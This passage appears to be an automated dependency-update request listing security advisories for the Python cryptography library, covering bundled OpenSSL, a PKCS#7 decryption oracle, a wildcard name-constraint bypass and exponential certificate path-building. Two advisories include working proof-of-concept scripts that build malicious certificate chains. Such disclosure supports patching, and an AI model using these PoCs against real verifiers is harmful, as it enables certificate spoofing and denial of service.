- [https://access.redhat.com/errata/RHSA-2026:43853](https://access.redhat.com/errata/RHSA-2026:43853)
- [https://access.redhat.com/errata/RHSA-2026:43854](https://access.redhat.com/errata/RHSA-2026:43854)
- [https://access.redhat.com/errata/RHSA-2026:43855](https://access.redhat.com/errata/RHSA-2026:43855)
- [https://access.redhat.com/errata/RHSA-2026:46956](https://access.redhat.com/errata/RHSA-2026:46956)
- [https://access.redhat.com/errata/RHSA-2026:7295](https://access.redhat.com/errata/RHSA-2026:7295)
- [https://access.redhat.com/security/cve/CVE-2026-39892](https://access.redhat.com/security/cve/CVE-2026-39892)
- [https://bugzilla.redhat.com/show_bug.cgi?id=2456735](https://bugzilla.redhat.com/show_bug.cgi?id=2456735)
- [https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39892.json)
- [https://access.redhat.com/errata/RHSA-2026:20338](https://access.redhat.com/errata/RHSA-2026:20338)
- [https://access.redhat.com/errata/RHSA-2026:21017](https://access.redhat.com/errata/RHSA-2026:21017)
- [https://access.redhat.com/errata/RHSA-2026:22465](https://access.redhat.com/errata/RHSA-2026:22465)
- [https://access.redhat.com/errata/RHSA-2026:22629](https://access.redhat.com/errata/RHSA-2026:22629)
- [https://access.redhat.com/errata/RHSA-2026:22840](https://access.redhat.com/errata/RHSA-2026:22840)
- [https://access.redhat.com/errata/RHSA-2026:23361](https://access.redhat.com/errata/RHSA-2026:23361)
- [https://access.redhat.com/errata/RHSA-2026:24483](https://access.redhat.com/errata/RHSA-2026:24483)
- [https://access.redhat.com/errata/RHSA-2026:24761](https://access.redhat.com/errata/RHSA-2026:24761)
- [https://access.redhat.com/errata/RHSA-2026:24762](https://access.redhat.com/errata/RHSA-2026:24762)
- [https://access.redhat.com/errata/RHSA-2026:24853](https://access.redhat.com/errata/RHSA-2026:24853)
- [https://access.redhat.com/errata/RHSA-2026:24866](https://access.redhat.com/errata/RHSA-2026:24866)
- [https://access.redhat.com/errata/RHSA-2026:24977](https://access.redhat.com/errata/RHSA-2026:24977)
- [https://access.redhat.com/errata/RHSA-2026:30088](https://access.redhat.com/errata/RHSA-2026:30088)
- [https://access.redhat.com/errata/RHSA-2026:30089](https://access.redhat.com/errata/RHSA-2026:30089)
- [https://access.redhat.com/errata/RHSA-2026:37275](https://access.redhat.com/errata/RHSA-2026:37275)
- [https://access.redhat.com/errata/RHSA-2026:42644](https://access.redhat.com/errata/RHSA-2026:42644)
- [https://github.com/advisories/GHSA-p423-j2cm-9vmq](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-p423-j2cm-9vmq) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Vulnerable OpenSSL included in cryptography wheels
[GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)

<details>
<summary>More information</summary>

#### Details
pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.

If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

#### References
- [https://github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-537c-gmf6-5ccf)
- [https://openssl-library.org/news/secadv/20260609.txt](https://openssl-library.org/news/secadv/20260609.txt)
- [https://github.com/advisories/GHSA-537c-gmf6-5ccf](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-537c-gmf6-5ccf) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing
[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247) / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)

<details>
<summary>More information</summary>

#### Details
##### Summary

`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the
outcome of decrypting a `RecipientInfo`'s `encryptedKey` in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied `EnvelopedData` and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

##### Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of `encryptedKey` → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

1. invalid RSA padding → `Decryption failed`
2. valid padding, bad key length → `Invalid key size (N) for AES.`, disclosing `N`
3. correct length, wrong key → `Invalid padding bytes.`
4. the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted `EnvelopedData`
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

##### Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

##### Not addressed by this fix

`EnvelopedData` does not authenticate its content. Tampering with
`encryptedContent` alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

##### Credit

Reported by @&#8203;X1AOxiang.

#### Severity
- CVSS Score: 8.2 / 10 (High)
- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`

#### References
- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)
- [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)
- [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)
- [https://github.com/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees
[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248) / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)

<details>
<summary>More information</summary>

#### Details
##### Summary
If an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

##### PoC

```

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")
```

##### Impact

Acceptance of invalid certificate chain.

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`

#### References
- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)
- [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)
- [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
- [https://github.com/pyca/cryptography/commit/286c89128](https://redirect.github.com/pyca/cryptography/commit/286c89128)
- [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3554.yaml)
- [https://github.com/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### python-cryptography: Duplicate self-signed intermediates can cause exponential path-building
[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249) / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)

<details>
<summary>More information</summary>

#### Details
##### Summary
When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. 

##### Details
The core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.

```python
    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(
```

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

```rust
          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only
```

In testing, this fix removed the exponential blowup without breaking apparent correctness. 

```
duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829
```

##### PoC
The following script benchmarks processing times for malicious cert chains.

```python
import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)
```

##### Impact
This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

#### Severity
- CVSS Score: 8.7 / 10 (High)
- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`

#### References
- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)
- [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)
- [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
- [https://github.com/pyca/cryptography/commit/3763aa79b](https://redirect.github.com/pyca/cryptography/commit/3763aa79b)
- [https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml](https://redirect.github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml)
- [https://github.com/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)

This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>pyca/cryptography (cryptography)</summary>

### [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)

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</details>

---

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---

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---

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